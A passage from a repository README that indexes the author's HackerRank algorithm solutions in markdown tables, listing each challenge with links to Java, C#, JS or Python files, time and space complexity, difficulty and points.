Conversion](https://www.hackerrank.com/challenges/time-conversion)| <ul><li>[Java](./Algorithms/Warmup/Time%20Conversion/Solution.java)</li><li>[C#](./Algorithms/Warmup/Time%20Conversion/Solution.cs)</li><ul> | _O(1)_ | _O(1)_ | Easy | 15 | || | |[Birthday Cake Candles](https://www.hackerrank.com/challenges/birthday-cake-candles)| <ul><li>[Java](./Algorithms/Warmup/Birthday%20Cake%20Candles/Solution.java)</li><li>[C#](./Algorithms/Warmup/Birthday%20Cake%20Candles/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 10 | || ### Implementation | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | | [Grading Students](https://www.hackerrank.com/challenges/grading)| <ul><li>[Java](./Algorithms/Implementation/Grading%20Students/Solution.java)</li> <li>[JS](./Algorithms/Implementation/Grading%20Students/Solution.js)</li> <li>[C#](./Algorithms/Implementation/Grading%20Students/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy| 10| || | | [Apple and Orange](https://www.hackerrank.com/challenges/apple-and-orange)| <ul><li>[Java](./Algorithms/Implementation/Apple%20and%20Orange/Solution.java)</li> <li>[JS](./Algorithms/Implementation/Apple%20and%20Orange/Solution.js)</li> <li>[C#](./Algorithms/Implementation/Apple%20and%20Orange/Solution.cs)</li><ul> | _O(n+m)_ | _O(1)_ | Easy| 10| || | | [Kangaroo](https://www.hackerrank.com/challenges/kangaroo)| <ul><li>[Java](./Algorithms/Implementation/Kangaroo/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Kangaroo/Solution.cs)</li><ul> | _O(1)_ | _O(1)_ | Easy| 10| || | | [Between Two Sets](https://www.hackerrank.com/challenges/between-two-sets)| <ul><li>[Java](./Algorithms/Implementation/Between%20Two%20Sets/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Between%20Two%20Sets/Solution.cs)</li><ul> | _O(x(n+m))_ | _O(1)_ | Easy| 10| _x=(max(m) - min(n))/min(n)_ || | | [Divisible Sum Pairs](https://www.hackerrank.com/challenges/divisible-sum-pairs)| <ul><li>[Java](./Algorithms/Implementation/Divisible%20Sum%20Pairs/Solution.java)</li><li>[C#](./Algorithms/Implementation/Divisible%20Sum%20Pairs/Solution.cs)</li><ul> | _O(n^2)_ | _O(1)_ | Easy| 10| || | | [Birthday Chocolate](https://www.hackerrank.com/challenges/the-birthday-bar)| <ul><li>[Java](./Algorithms/Implementation/Birthday%20Chocolate/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Birthday%20Chocolate/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy| 10| || | | [Breaking the Records](https://www.hackerrank.com/challenges/breaking-best-and-worst-records)| <ul><li>[Java](./Algorithms/Implementation/Breaking%20the%20Records/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Breaking%20the%20Records/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy| 10| || | | [Migratory Birds](https://www.hackerrank.com/challenges/migratory-birds)| <ul><li>[Java](./Algorithms/Implementation/Migratory%20Birds/Solution.java)</li> <li>[JS](./Algorithms/Implementation/Migratory%20Birds/Solution.js)</li><li>[C#](./Algorithms/Implementation/Migratory%20Birds/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy| 10| || | | [Day of the Programmer](https://www.hackerrank.com/challenges/day-of-the-programmer)| <ul><li>[Java](./Algorithms/Implementation/Day%20Of%20The%20Programmer/Solution.java)</li><li>[C#](./Algorithms/Implementation/Day%20Of%20The%20Programmer/Solution.cs)</li><ul> | _O(1)_ | _O(1)_ | Easy| 15| || | | [Bon Appetit](https://www.hackerrank.com/challenges/bon-appetit)| <ul><li>[Java](./Algorithms/Implementation/Bon%20Appetit/Solution.java)</li><li>[C#](./Algorithms/Implementation/Bon%20Appetit/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy| 10| || | | [Sock Merchant](https://www.hackerrank.com/challenges/sock-merchant)| <ul><li>[Java](./Algorithms/Implementation/Sock%20Merchant/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Sock%20Merchant/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy| 10| || | | [Drawing Book](https://www.hackerrank.com/challenges/drawing-book)| <ul><li>[Java](./Algorithms/Implementation/Drawing%20Book/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Drawing%20Book/Solution.cs)</li><ul> | _O(1)_ | _O(1)_ | Easy| 10| || | | [Counting Valleys](https://www.hackerrank.com/challenges/counting-valleys)| <ul><li>[Java](./Algorithms/Implementation/Counting%20Valleys/Solution.java)</li> <li>[JS](./Algorithms/Implementation/Counting%20Valleys/Solution.js)</li> <li>[C#](./Algorithms/Implementation/Counting%20Valleys/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy| 15| || | | [Cats and a Mouse](https://www.hackerrank.com/challenges/cats-and-a-mouse)| <ul><li>[Java](./Algorithms/Implementation/Cats%20and%20a%20Mouse/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Cats%20and%20a%20Mouse/Solution.cs)</li><ul> | _O(1)_ | _O(1)_ | Easy| 15| || | | [Electronics Shop](https://www.hackerrank.com/challenges/electronics-shop)| <ul><li>[Java](./Algorithms/Implementation/Electronics%20Shop/Solution.java)</li> <li>[JS](./Algorithms/Implementation/Electronics%20Shop/Solution.js)</li> <li>[C#](./Algorithms/Implementation/Electronics%20Shop/Solution.cs)</li><ul> | _O(n log (n))_ | _O(1)_ | Easy| 15| n = m+n|| | | [Picking Numbers](https://www.hackerrank.com/challenges/picking-numbers)| <ul><li>[Java](./Algorithms/Implementation/Picking%20Numbers/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Picking%20Numbers/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy| 20| || | | [Climbing the Leaderboard](https://www.hackerrank.com/challenges/climbing-the-leaderboard)| <ul><li>[Java](./Algorithms/Implementation/Climbing%20the%20Leaderboard/Solution.java)</li> <li>[JS](./Algorithms/Implementation/Climbing%20the%20Leaderboard/Solution.js)</li> <li>[C#](./Algorithms/Implementation/Climbing%20the%20Leaderboard/Solution.cs)</li><ul> | _O(n+m)_ | _(n)_ | Easy| 20| || | | [The Hurdle Race](https://www.hackerrank.com/challenges/the-hurdle-race)| <ul><li>[Java](./Algorithms/Implementation/The%20Hurdle%20Race/Solution.java)</li> <li>[C#](./Algorithms/Implementation/The%20Hurdle%20Race/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy| 15| || | | [Designer PDF Viewer](https://www.hackerrank.com/challenges/designer-pdf-viewer)| <ul><li>[Java](./Algorithms/Implementation/Designer%20PDF%20Viewer/Solution.java)</li> <li>[JS](./Algorithms/Implementation/Designer%20PDF%20Viewer/Solution.js)</li> <li>[C#](./Algorithms/Implementation/Designer%20PDF%20Viewer/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy| 20| || | | [Forming a Magic Square](https://www.hackerrank.com/challenges/magic-square-forming)| <ul><li>[Java](./Algorithms/Implementation/Forming%20a%20Magic%20Square/Solution.java)</li><ul> | _O(1)_ | _O(1)_ | Easy| 20| || | | [Utopian Tree](https://www.hackerrank.com/challenges/utopian-tree)| <ul><li>[Java](./Algorithms/Implementation/Utopian%20Tree/Solution.java)</li> <li>[JS](./Algorithms/Implementation/Utopian%20Tree/Solution.js)</li> <li>[C#](./Algorithms/Implementation/Utopian%20Tree/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 20| || | | [Angry Professor](https://www.hackerrank.com/challenges/angry-professor)| <ul><li>[Java](./Algorithms/Implementation/Angry%20Professor/Solution.java)</li> <li>[JS](./Algorithms/Implementation/Angry%20Professor/Solution.js)</li> <li>[C#](./Algorithms/Implementation/Angry%20Professor/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 20| || | | [Beautiful Days at the Movies](https://www.hackerrank.com/challenges/beautiful-days-at-the-movies)| <ul><li>[Java](./Algorithms/Implementation/Beautiful%20Days%20at%20the%20Movies/Solution.java)</li> <li>[JS](./Algorithms/Implementation/Beautiful%20Days%20at%20the%20Movies/Solution.js)</li> <li>[C#](./Algorithms/Implementation/Beautiful%20Days%20at%20the%20Movies/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 15| || | | [Viral Advertising](https://www.hackerrank.com/challenges/strange-advertising)| <ul><li>[Java](./Algorithms/Implementation/Viral%20Advertising/Solution.java)</li> <li>[JS](./Algorithms/Implementation/Viral%20Advertising/Solution.js)</li> <li>[C#](./Algorithms/Implementation/Viral%20Advertising/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 15| || | | [Save the Prisoner!](https://www.hackerrank.com/challenges/save-the-prisoner)| <ul><li>[Java](./Algorithms/Implementation/Save%20the%20Prisoner!/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Save%20the%20Prisoner!/Solution.cs)</li><ul> | _O(1)_ | _O(1)_ | Easy | 15| || | | [Circular Array Rotation](https://www.hackerrank.com/challenges/circular-array-rotation)| <ul><li>[Java](./Algorithms/Implementation/Circular%20Array%20Rotation/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Circular%20Array%20Rotation/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 20| || | | [Sequence Equation](https://www.hackerrank.com/challenges/permutation-equation)| <ul><li>[Java](./Algorithms/Implementation/Sequence%20Equation/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Sequence%20Equation/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 20| || | | [Jumping on the Clouds: Revisited](https://www.hackerrank.com/challenges/jumping-on-the-clouds-revisited)| <ul><li>[Java](./Algorithms/Implementation/Jumping%20on%20the%20Clouds-%20Revisited/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Jumping%20on%20the%20Clouds-%20Revisited/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 15| || | | [Find Digits](https://www.hackerrank.com/challenges/find-digits)| <ul><li>[Java](./Algorithms/Implementation/Find%20Digits/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Find%20Digits/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 25| || | | [Extra Long Factorials](https://www.hackerrank.com/challenges/extra-long-factorials)| <ul><li>[Java](./Algorithms/Implementation/Extra%20Long%20Factorials/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Extra%20Long%20Factorials/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Medium | 20| || | | [Append and Delete](https://www.hackerrank.com/challenges/append-and-delete)| <ul><li>[Java](./Algorithms/Implementation/Append%20and%20Delete/Solution.java)</li><ul> | _O(n)_ | _O(1)_ | Easy | 20| || | | [Sherlock and Squares](https://www.hackerrank.com/challenges/sherlock-and-squares)| <ul><li>[Java](./Algorithms/Implementation/Sherlock%20and%20Squares/Solution.java)</li><ul> | _O(n)_ | _O(1)_ | Easy | 20| || | | [Library Fine](https://www.hackerrank.com/challenges/library-fine)| <ul><li>[Java](./Algorithms/Implementation/Library%20Fine/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Library%20Fine/Solution.cs)</li><ul> | _O(1)_ | _O(1)_ | Easy| 15| || | | [Cut the sticks](https://www.hackerrank.com/challenges/cut-the-sticks)| <ul><li>[Java](./Algorithms/Implementation/Cut%20the%20sticks/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Cut%20the%20sticks/Solution.cs)</li><ul> | _O(n log(n))_ | _O(n)_ | Easy | 25| || | | [Non-Divisible Subset](https://www.hackerrank.com/challenges/non-divisible-subset)| <ul><li>[Java](./Algorithms/Implementation/Non-Divisible%20Subset/Solution.java)</li><ul> | _O(n)_ | _O(n)_ | Medium | 20| || | | [Repeated String](https://www.hackerrank.com/challenges/repeated-string)| <ul><li>[Java](./Algorithms/Implementation/Repeated%20String/Solution.java)</li> <li>[C#](./Algorithms/Implementation/Repeated%20String/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 20| || | | [Jumping on the Clouds](https://www.hackerrank.com/challenges/jumping-on-the-clouds)| <ul><li>[Java](./Algorithms/Implementation/Jumping%20on%20the%20Clouds/Solution.java)</li><li>[C#](./Algorithms/Implementation/Jumping%20on%20the%20Clouds/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 20| || | | [Equalize the Array](https://www.hackerrank.com/challenges/equality-in-a-array)| <ul><li>[Java](./Algorithms/Implementation/Equalize%20the%20Array/Solution.java)</li><li>[C#](./Algorithms/Implementation/Equalize%20the%20Array/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 20| || | | [Queen's Attack II](https://www.hackerrank.com/challenges/queens-attack-2)| <ul><li>[Java](./Algorithms/Implementation/Queen's%20Attack%20II/Solution.java)</li><ul> | _O(k)_ | _O(1)_ | Medium | 30| || | | [ACM ICPC Team](https://www.hackerrank.com/challenges/acm-icpc-team)| <ul><li>[Java](./Algorithms/Implementation/ACM%20ICPC%20Team/Solution.java)</li><ul> | _O(n^3)_ | _O(n)_ | Easy | 25| || | | [Taum and B'day](https://www.hackerrank.com/challenges/taum-and-bday)| <ul><li>[Java](./Algorithms/Implementation/Taum%20and%20B'day/Solution.java)</li><li>[C#](./Algorithms/Implementation/Taum%20and%20B'day/Solution.cs)</li><ul> | _O(1)_ | _O(1)_ | Easy | 25| || | | [Organizing Containers of Balls](https://www.hackerrank.com/challenges/organizing-containers-of-balls)| <ul><li>[Java](./Algorithms/Implementation/Organizing%20Containers%20of%20Balls/Solution.java)</li><ul> | _O(n^2)_ | _O(n^2)_ | Medium | 30| || | | [Encryption](https://www.hackerrank.com/challenges/encryption)| <ul><li>[Java](./Algorithms/Implementation/Encryption/Solution.java)</li><li>[C#](./Algorithms/Implementation/Encryption/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Medium | 30| || | | [Bigger is Greater](https://www.hackerrank.com/challenges/bigger-is-greater)| <ul><li>[Java](./Algorithms/Implementation/Bigger%20is%20Greater/Solution.java)</li><ul> | _O(n)_ | _O(n)_ | Medium | 35| || | | [Modified Kaprekar Numbers](https://www.hackerrank.com/challenges/kaprekar-numbers)| <ul><li>[Java](./Algorithms/Implementation/Modified%20Kaprekar%20Numbers/Solution.java)</li><li>[C#](./Algorithms/Implementation/Modified%20Kaprekar%20Numbers/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 30| || | | [Minimum Distances](https://www.hackerrank.com/challenges/minimum-distances)| <ul><li>[Java](./Algorithms/Implementation/Minimum%20Distances/Solution.java)</li><li>[C#](./Algorithms/Implementation/Minimum%20Distances/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 20| || | | [Beautiful Triplets](https://www.hackerrank.com/challenges/beautiful-triplets)| <ul><li>[Java](./Algorithms/Implementation/Beautiful%20Triplets/Solution.java)</li><li>[C#](./Algorithms/Implementation/Beautiful%20Triplets/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 20| || | | [Strings: Making Anagrams](https://www.hackerrank.com/challenges/ctci-making-anagrams)| <ul><li>[Java](./Algorithms/Implementation/Strings%20Making%20Anagrams/Solution.java)</li><ul> | _O(&#124;a&#124;+&#124;b&#124;)_ | _O(1)_ | Easy | 30| || | | [The Time in Words](https://www.hackerrank.com/challenges/the-time-in-words)| <ul><li>[Java](./Algorithms/Implementation/The%20Time%20in%20Words/Solution.java)</li><li>[C#](./Algorithms/Implementation/The%20Time%20in%20Words/Solution.cs)</li><ul> | _O(1)_ | _O(1)_ | Medium | 25| || | | [Chocolate Feast](https://www.hackerrank.com/challenges/chocolate-feast)| <ul><li>[Java](./Algorithms/Implementation/Chocolate%20Feast/Solution.java)</li><li>[C#](./Algorithms/Implementation/Chocolate%20Feast/Solution.cs)</li><ul> | _O(log(n))_ | _O(1)_ | Easy | 25| Base of logarithmic time complexity is m || | | [Service Lane](https://www.hackerrank.com/challenges/service-lane)| <ul><li>[Java](./Algorithms/Implementation/Service%20Lane/Solution.java)</li><li>[C#](./Algorithms/Implementation/Service%20Lane/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 20| || | | [Lisa's Workbook](https://www.hackerrank.com/challenges/lisa-workbook)| <ul><li>[Java](./Algorithms/Implementation/Lisa's%20Workbook/Solution.java)</li><li>[C#](./Algorithms/Implementation/Lisa's%20Workbook/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 25| || | | [Flatland Space Stations](https://www.hackerrank.com/challenges/flatland-space-stations)| <ul><li>[Java](./Algorithms/Implementation/Flatland%20Space%20Stations/Solution.java)</li><li>[C#](./Algorithms/Implementation/Flatland%20Space%20Stations/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 25| || | | [Fair Rations](https://www.hackerrank.com/challenges/fair-rations)| <ul><li>[Java](./Algorithms/Implementation/Fair%20Rations/Solution.java)</li><li>[C#](./Algorithms/Implementation/Fair%20Rations/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 25| || | | [Cavity Map](https://www.hackerrank.com/challenges/cavity-map)| <ul><li>[Java](./Algorithms/Implementation/Cavity%20Map/Solution.java)</li><li>[C#](./Algorithms/Implementation/Cavity%20Map/Solution.cs)</li><ul> | _O(n^2)_ | _O(n^2)_ | Easy | 30| || | | [Manasa and Stones](https://www.hackerrank.com/challenges/manasa-and-stones)| <ul><li>[Java](./Algorithms/Implementation/Manasa%20and%20Stones/Solution.java)</li><li>[C#](./Algorithms/Implementation/Manasa%20and%20Stones/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 30| || | | [The Grid Search](https://www.hackerrank.com/challenges/the-grid-search)| <ul><li>[Java](./Algorithms/Implementation/The%20Grid%20Search/Solution.java)</li><ul> | _O(n)_ | _O(n)_ | Medium | 30| n = len(word)|| | | [Happy Ladybugs](https://www.hackerrank.com/challenges/happy-ladybugs)| <ul><li>[Java](./Algorithms/Implementation/Happy%20Ladybugs/Solution.java)</li><ul> | _O(n)_ | _O(n)_ | Easy | 30| || | | [Strange Counter](https://www.hackerrank.com/challenges/strange-code)| <ul><li>[Java](./Algorithms/Implementation/Strange%20Counter/Solution.java)</li><ul> | _O(n)_ | _O(1)_ | Easy | 30| n = t || | | [Absolute Permuation](https://www.hackerrank.com/challenges/absolute-permutation)| <ul><li>[Java](./Algorithms/Implementation/Absolute%20Permuation/Solution.java)</li><ul> | _O(n)_ | _O(n)_ | Medium | 40| || | | [The Bomberman Game](https://www.hackerrank.com/challenges/bomber-man)| <ul><li>[Java](./Algorithms/Implementation/The%20Bomberman%20Game/Solution.java)</li><ul> | _O(n*m)_ | _O(n*m)_ | Medium | 40| || | | [Ema's Supercomputer](https://www.hackerrank.com/challenges/two-pluses)| <ul><li>Java</li></ul> | | | Medium | 40| || | | [Larry's Array](https://www.hackerrank.com/challenges/larrys-array)| <ul><li>Java</li></ul> | | | Medium | 40| || | | [Almost Sorted](https://www.hackerrank.com/challenges/almost-sorted)| <ul><li>Java</li></ul> | | | Medium | 50| || | | [Matrix Layer Rotation](https://www.hackerrank.com/challenges/matrix-rotation-algo)| <ul><li>[Python3](./Algorithms/Implementation/Matrix%20Layer%20Rotation/Solution.py3)</li><ul> | _O(n*m)_ | _O(n*m)_ | Hard | 80| || | | [Consecutive 1s in Binary Numbers](https://www.hackerrank.com/challenges/linkedin-practice-binary-numbers)| <ul><li>[Java](./Algorithms/Implementation/Consecutive%201s%20in%20Binary%20Numbers/Solution.java)</li><ul> | _O(n)_ | _O(1)_ | Easy | 30| || | | [Nested Logic](https://www.hackerrank.com/challenges/linkedin-practice-nested-logic)| <ul><li>[Java](./Algorithms/Implementation/Nested%20Logic/Solution.java)</li><ul> | _O(1)_ | _O(1)_ | Easy | 40| || | | [Bitwise AND](https://www.hackerrank.com/challenges/linkedin-practice-bitwise-and)| <ul><li>[Java](./Algorithms/Implementation/Bitwise%20AND/Solution.java)</li><ul> | _O(1)_ | _O(1)_ | Easy | 20| || ### Strings | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | | [Super Reduced String](https://www.hackerrank.com/challenges/reduced-string)| <ul><li>[Java](./Algorithms/Strings/Super%20Reduced%20String/Solution.java)</li><li>[C#](./Algorithms/Strings/Super%20Reduced%20String/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 10| || | | [camelCase](https://www.hackerrank.com/challenges/camelcase)| <ul><li>[Java](./Algorithms/Strings/camelCase/Solution.java)</li><li>[C#](./Algorithms/Strings/camelCase/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 15| || | | [Strong Password](https://www.hackerrank.com/challenges/strong-password)| <ul><li>[C#](./Algorithms/Strings/Strong%20Password/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 15| || | | [Two Characters](https://www.hackerrank.com/challenges/two-characters)| <ul><li>[Java](./Algorithms/Strings/Two%20Characters/Solution.java)</li><li>[C#](./Algorithms/Strings/Two%20Characters/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy| 15| || | | [Caesar Cipher](https://www.hackerrank.com/challenges/caesar-cipher-1)| <ul><li>[Java](./Algorithms/Strings/Caesar%20Cipher/Solution.java)</li><li>[C#](./Algorithms/Strings/Caesar%20Cipher/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 15| || | | [Caesar Cipher: Encryption](https://www.hackerrank.com/challenges/linkedin-practice-caesar-cipher)| <ul><li>[Java](./Algorithms/Strings/Caesar%20Cipher%20Encryption/Solution.java)</li><ul> | _O(n)_ | _O(n)_ | Easy | 40 | || | | [Mars Exploration](https://www.hackerrank.com/challenges/mars-exploration)| <ul><li>[Java](./Algorithms/Strings/Mars%20Exploration/Solution.java)</li><li>[C#](./Algorithms/Strings/Mars%20Exploration/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 15| || | | [HackerRank in a String!](https://www.hackerrank.com/challenges/hackerrank-in-a-string)| <ul><li>[Java](./Algorithms/Strings/HackerRank%20in%20a20String!/Solution.java)</li> <li>[JS](./Algorithms/Strings/HackerRank%20in%20a20String!/Solution.js)</li><li>[C#](./Algorithms/Strings/HackerRank%20in%20a20String!/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 20| || | | [Pangrams](https://www.hackerrank.com/challenges/pangrams)| <ul><li>[Java](./Algorithms/Strings/Pangrams/Solution.java)</li><li>[C#](./Algorithms/Strings/Pangrams/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 20| || | | [Weighted Uniform Strings](https://www.hackerrank.com/challenges/weighted-uniform-string)| <ul><li>[Java](./Algorithms/Strings/Weighted%20Uniform%20Strings/Solution.java)</li><li>[C#](./Algorithms/Strings/Weighted%20Uniform%20Strings/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 20| || | | [Separate the Numbers](https://www.hackerrank.com/challenges/separate-the-numbers)| <ul><li>Java</li><li>[C#](./Algorithms/Strings/Separate%20the%20Numbers/Solution.cs)</li></ul> | _O(n)_ | _O(n)_ | Easy | 20| || | | [Funny String](https://www.hackerrank.com/challenges/funny-string)| <ul><li>[Java](./Algorithms/Strings/Funny%20String/Solution.java)</li><li>[C#](./Algorithms/Strings/Funny%20String/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 25| || | | [Gemstones](https://www.hackerrank.com/challenges/gem-stones)| <ul><li>[Java](./Algorithms/Strings/Gemstones/Solution.java)</li><li>[C#](./Algorithms/Strings/Gemstones/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 20| || | | [Alternating Characters](https://www.hackerrank.com/challenges/alternating-characters)| <ul><li>[Java](./Algorithms/Strings/Alternating%20Characters/Solution.java)</li><li>[C#](./Algorithms/Strings/Alternating%20Characters/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 20| || | | [Beautiful Binary String](https://www.hackerrank.com/challenges/beautiful-binary-string)| <ul><li>[Java](./Algorithms/Strings/Beautiful%20Binary%20String/Solution.java)</li><ul> | _O(n)_ | _O(1)_ | Easy | 20| || | | [The Love-Letter Mystery](https://www.hackerrank.com/challenges/the-love-letter-mystery)| <ul><li>[Java](./Algorithms/Strings/The%20Love-Letter%20Mystery/Solution.java)</li><ul> | _O(n)_ | _O(1)_ | Easy | 20| || | | [Determining DNA Health](https://www.hackerrank.com/challenges/determining-dna-health)| <ul><li>Java</li></ul> | | | Hard | 50| || | | [Palindrome Index](https://www.hackerrank.com/challenges/palindrome-index)| <ul><li>[Java](./Algorithms/Strings/Palindrome%20Index/Solution.java)</li><ul> | _O(n)_ | _O(1)_ | Easy | 25| || | | [Anagram](https://www.hackerrank.com/challenges/anagram)| <ul><li>[Java](./Algorithms/Strings/Anagram/Solution.java)</li><ul> | _O(n)_ | _O(1)_ | Easy | 25| || | | [Making Anagrams](https://www.hackerrank.com/challenges/making-anagrams)| <ul><li>[Java](./Algorithms/Strings/Making%20Anagrams/Solution.java)</li><ul> | _O(n)_ | _O(n)_ | Easy | 30| || | | [Game of Thrones - I](https://www.hackerrank.com/challenges/game-of-thrones)| <ul><li>[Java](./Algorithms/Strings/Game%20of%20Thrones-I/Solution.java)</li><li>[C#](./Algorithms/Strings/Game%20of%20Thrones-I/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 30| || | | [Two Strings](https://www.hackerrank.com/challenges/two-strings)| <ul><li>[Java](./Algorithms/Strings/Two%20Strings/Solution.java)</li><li>[C#](./Algorithms/Strings/Two%20Strings/Solution.cs)</li><ul> | _O(&#124;a&#124; + &#124;b&#124;)_ | _O(1)_ | Easy | 25| a and b are lengths of the input strings || | | [String Construction](https://www.hackerrank.com/challenges/string-construction)| <ul><li>[Java](./Algorithms/Strings/String%20Construction/Solution.java)</li><ul> | _O(n)_ | _O(n)_ | Easy | 25| || | | [Sherlock and Valid String](https://www.hackerrank.com/challenges/sherlock-and-valid-string)| <ul><li>[Java](./Algorithms/Strings/Sherlock%20and%20Valid%20String/Solution.java)</li><ul> | _O(n)_ | _O(n)_ | Hard | 100| || | | [Richie Rich](https://www.hackerrank.com/challenges/richie-rich)| <ul><li>Java</li> <li>[Python3](./Algorithms/Strings/Richie%20Rich/solution.py)</li><ul> | _O(n)_ | _O(n)_ | Medium | 30| || | | [Sherlock and Anagrams](https://www.hackerrank.com/challenges/sherlock-and-anagrams)| <ul><li>Java</li></ul> | | | Medium | 50| || | | [Common Child](https://www.hackerrank.com/challenges/common-child)| <ul><li>Java</li></ul> | | | Hard | 60| || | | [Bear and Steady Gene](https://www.hackerrank.com/challenges/bear-and-steady-gene)| <ul><li>Java</li></ul> | | | Medium | 50| || | | [Morgan and a String](https://www.hackerrank.com/challenges/morgan-and-a-string)| <ul><li>[Java](./Algorithms/Strings/Morgan%20and%20a%20String/Solution.java)</li><ul> | _O((&#124;a&#124;+&#124;b&#124;)^2)_ | _O(&#124;a&#124; + &#124;b&#124;)_ | Expert | 100| || | | [Count Strings](https://www.hackerrank.com/challenges/count-strings)| <ul><li>Java</li></ul> | | | Hard | 80| || | | [String Function Calculation](https://www.hackerrank.com/challenges/string-function-calculation)| <ul><li>Java</li></ul> | | | Advanced | 80| || | | [Build a Palindrome](https://www.hackerrank.com/challenges/challenging-palindromes)| <ul><li>Java</li></ul> | | | Advanced | 80| || | | [Build a String](https://www.hackerrank.com/challenges/build-a-string)| <ul><li>Java</li></ul> | | | Hard | 80| || | | [Gridland Provinces](https://www.hackerrank.com/challenges/gridland-provinces)| <ul><li>Java</li></ul> | | | Hard | 80| || | | [Ashton and String](https://www.hackerrank.com/challenges/ashton-and-string)| <ul><li>Java</li></ul> | | | Advanced | 100| || | | [String Similarity](https://www.hackerrank.com/challenges/string-similarity)| <ul><li>Java</li></ul> | | | Expert | 100| || | | [Super Functional Strings](https://www.hackerrank.com/challenges/super-functional-strings)| <ul><li>Java</li></ul> | | | Advanced | 80| || | | [Circular Palindromes](https://www.hackerrank.com/challenges/circular-palindromes)| <ul><li>Java</li></ul> | | | Advanced | 120| || | | [Similar Strings](https://www.hackerrank.com/challenges/similar-strings)| <ul><li>Java</li></ul> | | | Advanced | 85| || | | [Save Humanity](https://www.hackerrank.com/challenges/save-humanity)| <ul><li>Java</li></ul> | | | Expert | 100| || | | [Find Strings](https://www.hackerrank.com/challenges/find-strings)| <ul><li>Java</li></ul> | | | Expert | 100| || | | [Palindromic Border](https://www.hackerrank.com/challenges/palindromic-border)| <ul><li>Java</li></ul> | | | Expert | 100| || | | [Two Two](https://www.hackerrank.com/challenges/two-two)| <ul><li>Java</li></ul> | | | Advanced | 150| || | | [Two Strings Game](https://www.hackerrank.com/challenges/two-strings-game)| <ul><li>Java</li></ul> | | | Expert | 100| || | | [Letter Islands](https://www.hackerrank.com/challenges/letter-islands)| <ul><li>Java</li></ul> | | | Expert | 100| || | | [Pseudo-Isomorphic Substrings](https://www.hackerrank.com/challenges/pseudo-isomorphic-substrings)| <ul><li>Java</li></ul> | | | Expert | 100| || | | [How Many Substrings?](https://www.hackerrank.com/challenges/how-many-substrings)| <ul><li>Java</li></ul> | | | Expert | 100| || ### Sorting | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | | [Intro to Tutorial Challenges](https://www.hackerrank.com/challenges/tutorial-intro)| <ul><li>[Java](./Algorithms/Sorting/Intro%20to%20Tutorial%20Challenges/Solution.java)</li><li>[C#](./Algorithms/Sorting/Intro%20to%20Tutorial%20Challenges/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 30| || | | [Insertion Sort - Part 1](https://www.hackerrank.com/challenges/insertionsort1)| 